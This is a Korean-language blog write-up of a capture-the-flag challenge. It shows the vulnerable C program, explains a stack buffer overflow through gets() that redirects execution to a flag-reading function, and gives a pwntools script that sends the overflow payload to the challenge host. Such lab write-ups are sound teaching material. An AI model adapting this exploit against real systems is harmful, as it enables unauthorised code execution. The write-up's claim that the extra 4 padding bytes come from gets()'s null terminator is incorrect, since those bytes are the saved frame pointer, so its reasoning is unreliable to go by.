1 minute read

C 코드 분석


#include <stdio.h>

#include <stdlib.h>

#include <signal.h>

#include <unistd.h>





void alarm_handler() {

    puts("TIME OUT");

    exit(-1);

}





void initialize() {

    setvbuf(stdin, NULL, _IONBF, 0);

    setvbuf(stdout, NULL, _IONBF, 0);



    signal(SIGALRM, alarm_handler);

    alarm(30);

}





void read_flag() {

    system("cat /flag");

}



int main(int argc, char *argv[]) {



    char buf[0x80];



    initialize();

    

    gets(buf);



    return 0;

}

main() 함수 분석

배열을 크기 0x80(128 byte)만큼 할당한다.

initialize() 함수는 입/출력 버퍼를 비활성화시키고, 프로그램의 실행시간을 30초로 제한하는 함수이다.

gets(buf) 부분에서 익스플로잇이 가능하다.

입력값의 크기를 제한하지 않았기 때문에 해당 부분에 취약점이 있는 것을 알 수 있다.

익스플로잇 방법은 gets()부분 입력값으로 128 byte + 4 byte = 132 byte를 아무 의미없는 문자열 입력 후, read_flag() 함수의 주소를 입력하여 read_flag()가 return 되도록 코드를 작성한다.

추가로 4 byte를 입력해 주는 이유는, gets()함수 특성 상 문자열을 입력받은 후 널 종료 문자로 끝나도록 하기 때문에 1 byte가 추가로 할당된다.

추가로 할당된 1 byte는 스택 메모리에 추가적으로 저장될 때 4 byte(1 word)씩 저장되기 때문에 4 byte를 추가로 할당해야 한다.

GDB 디버깅

가장 먼저 read_flag의 주소를 살펴본다.

GDB 디버깅을 들어가서 info fuc으로 함수의 주소를 추적한다.

밑에서 보는바와 같이 read_flag의 주소는 ‘0x080485b9’ 이다.

image.png

다음으로는, 위에서 설명하였던 4 byte가 추가되는 것을 이해하기 쉽도록 디버깅 모드로 들어가서 확인해 본다.

image.png

보다시피, [ebp - 0x80] 에서 할당된 0x80 뿐만 아니라 밑에 add exp, 4 에서 4 byte가 추가로 할당된 것을 볼 수 있다.

Pwn 코드


from pwn import *



p = remote("host3.dreamhack.games", 11188)



payload = b'A' * 0x80

payload += b'A' * 4

payload += p32(0x080485b9)

# read_flag의 주소를 패킹하여 payload에 더한다.



p.sendline(payload)

p.interactive()

image.png